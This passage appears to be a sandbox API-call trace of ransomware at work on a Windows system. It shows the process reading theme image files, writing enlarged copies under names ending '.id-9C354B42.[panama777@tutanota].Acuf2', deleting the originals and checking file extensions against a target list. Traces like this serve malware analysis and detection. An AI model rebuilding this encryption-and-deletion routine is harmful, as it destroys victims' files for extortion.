	[0050.474] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x553, lpOverlapped=0x0) returned 1
	[0050.475] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x560, lpOverlapped=0x0) returned 1
	[0050.476] ReadFile (in: hFile=0x1fc, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.476] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.476] SetEndOfFile (hFile=0x200) returned 1
	[0050.476] CloseHandle (hObject=0x200) returned 1
	[0050.476] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.476] SetEndOfFile (hFile=0x1fc) returned 1
	[0050.477] CloseHandle (hObject=0x1fc) returned 1
	[0050.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.477] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1
	[0050.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.478] lstrlenW (lpString=".doc") returned 4
	[0050.478] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.478] lstrlenW (lpString=".docx") returned 5
	[0050.478] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.478] lstrlenW (lpString=".pdf") returned 4
	[0050.478] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.478] lstrlenW (lpString=".xls") returned 4
	[0050.478] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.478] lstrlenW (lpString=".xlsx") returned 5
	[0050.478] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.478] lstrlenW (lpString=".ppt") returned 4
	[0050.478] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.478] lstrlenW (lpString=".zip") returned 4
	[0050.478] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.478] lstrlenW (lpString=".rar") returned 4
	[0050.478] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.478] lstrlenW (lpString=".bz2") returned 4
	[0050.478] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.478] lstrlenW (lpString=".7z") returned 3
	[0050.478] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.479] lstrlenW (lpString=".dbf") returned 4
	[0050.479] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.479] lstrlenW (lpString=".1cd") returned 4
	[0050.479] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.479] lstrlenW (lpString=".jpg") returned 4
	[0050.479] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.479] lstrlenW (lpString=".doc") returned 4
	[0050.479] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.479] lstrlenW (lpString=".docx") returned 5
	[0050.479] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.479] lstrlenW (lpString=".pdf") returned 4
	[0050.479] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.479] lstrlenW (lpString=".xls") returned 4
	[0050.479] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.479] lstrlenW (lpString=".xlsx") returned 5
	[0050.479] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.479] lstrlenW (lpString=".ppt") returned 4
	[0050.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.479] lstrlenW (lpString=".zip") returned 4
	[0050.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.479] lstrlenW (lpString=".rar") returned 4
	[0050.479] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.479] lstrlenW (lpString=".bz2") returned 4
	[0050.480] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.480] lstrlenW (lpString=".7z") returned 3
	[0050.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.480] lstrlenW (lpString=".dbf") returned 4
	[0050.480] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.480] lstrlenW (lpString=".1cd") returned 4
	[0050.480] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75
	[0050.480] lstrlenW (lpString=".jpg") returned 4
	[0050.480] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.766] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.766] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.767] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=26402) returned 1
	[0050.767] CloseHandle (hObject=0x214) returned 1
	[0050.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20
	[0050.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.767] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.767] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0050.767] GetLastError () returned 0x0
	[0050.767] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x6722, lpOverlapped=0x0) returned 1
	[0050.769] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x6730, lpOverlapped=0x0) returned 1
	[0050.771] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.771] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.771] SetEndOfFile (hFile=0x218) returned 1
	[0050.771] CloseHandle (hObject=0x218) returned 1
	[0050.771] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.771] SetEndOfFile (hFile=0x214) returned 1
	[0050.772] CloseHandle (hObject=0x214) returned 1
	[0050.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.772] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1
	[0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.773] lstrlenW (lpString=".doc") returned 4
	[0050.773] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.773] lstrlenW (lpString=".docx") returned 5
	[0050.773] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.773] lstrlenW (lpString=".pdf") returned 4
	[0050.773] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.773] lstrlenW (lpString=".xls") returned 4
	[0050.773] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.773] lstrlenW (lpString=".xlsx") returned 5
	[0050.773] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.773] lstrlenW (lpString=".ppt") returned 4
	[0050.773] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.773] lstrlenW (lpString=".zip") returned 4
	[0050.773] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.773] lstrlenW (lpString=".rar") returned 4
	[0050.773] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.773] lstrlenW (lpString=".bz2") returned 4
	[0050.773] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.773] lstrlenW (lpString=".7z") returned 3
	[0050.773] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.773] lstrlenW (lpString=".dbf") returned 4
	[0050.773] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.773] lstrlenW (lpString=".1cd") returned 4
	[0050.773] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.773] lstrlenW (lpString=".jpg") returned 4
	[0050.774] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.774] lstrlenW (lpString=".doc") returned 4
	[0050.774] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.774] lstrlenW (lpString=".docx") returned 5
	[0050.774] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.774] lstrlenW (lpString=".pdf") returned 4
	[0050.774] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.774] lstrlenW (lpString=".xls") returned 4
	[0050.774] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.774] lstrlenW (lpString=".xlsx") returned 5
	[0050.774] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.774] lstrlenW (lpString=".ppt") returned 4
	[0050.774] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.774] lstrlenW (lpString=".zip") returned 4
	[0050.774] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.774] lstrlenW (lpString=".rar") returned 4
	[0050.774] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.774] lstrlenW (lpString=".bz2") returned 4
	[0050.774] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.774] lstrlenW (lpString=".7z") returned 3
	[0050.774] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.774] lstrlenW (lpString=".dbf") returned 4
	[0050.774] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.774] lstrlenW (lpString=".1cd") returned 4
	[0050.774] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0050.775] lstrlenW (lpString=".jpg") returned 4
	[0050.775] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.775] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.775] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.775] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1354) returned 1
	[0050.775] CloseHandle (hObject=0x214) returned 1
	[0050.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20
	[0050.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.776] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.776] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0050.778] GetLastError () returned 0x0
	[0050.778] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x54a, lpOverlapped=0x0) returned 1
	[0050.779] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x550, lpOverlapped=0x0) returned 1
	[0050.780] ReadFile (in: hFile=0x214, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.781] WriteFile (in: hFile=0x218, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.781] SetEndOfFile (hFile=0x218) returned 1
	[0050.781] CloseHandle (hObject=0x218) returned 1
	[0050.781] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.781] SetEndOfFile (hFile=0x214) returned 1
	[0050.782] CloseHandle (hObject=0x214) returned 1
	[0050.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.782] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1
	[0050.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.782] lstrlenW (lpString=".doc") returned 4
	[0050.782] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.782] lstrlenW (lpString=".docx") returned 5
	[0050.782] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.782] lstrlenW (lpString=".pdf") returned 4
	[0050.783] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.783] lstrlenW (lpString=".xls") returned 4
	[0050.783] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.783] lstrlenW (lpString=".xlsx") returned 5
	[0050.783] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.783] lstrlenW (lpString=".ppt") returned 4
	[0050.783] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.783] lstrlenW (lpString=".zip") returned 4
	[0050.783] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.783] lstrlenW (lpString=".rar") returned 4
	[0050.783] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.783] lstrlenW (lpString=".bz2") returned 4
	[0050.783] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.783] lstrlenW (lpString=".7z") returned 3
	[0050.783] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.783] lstrlenW (lpString=".dbf") returned 4
	[0050.783] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.783] lstrlenW (lpString=".1cd") returned 4
	[0050.783] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.783] lstrlenW (lpString=".jpg") returned 4
	[0050.783] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.783] lstrlenW (lpString=".doc") returned 4
	[0050.783] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.783] lstrlenW (lpString=".docx") returned 5
	[0050.784] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.784] lstrlenW (lpString=".pdf") returned 4
	[0050.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.784] lstrlenW (lpString=".xls") returned 4
	[0050.784] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.784] lstrlenW (lpString=".xlsx") returned 5
	[0050.784] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.784] lstrlenW (lpString=".ppt") returned 4
	[0050.784] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.784] lstrlenW (lpString=".zip") returned 4
	[0050.784] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.784] lstrlenW (lpString=".rar") returned 4
	[0050.784] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.784] lstrlenW (lpString=".bz2") returned 4
	[0050.784] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.784] lstrlenW (lpString=".7z") returned 3
	[0050.784] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.784] lstrlenW (lpString=".dbf") returned 4
	[0050.784] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.784] lstrlenW (lpString=".1cd") returned 4
	[0050.784] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76
	[0050.784] lstrlenW (lpString=".jpg") returned 4
	[0050.784] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.784] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.785] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.785] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=32433) returned 1
	[0050.785] CloseHandle (hObject=0x214) returned 1
	[0050.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20
	[0050.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0050.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
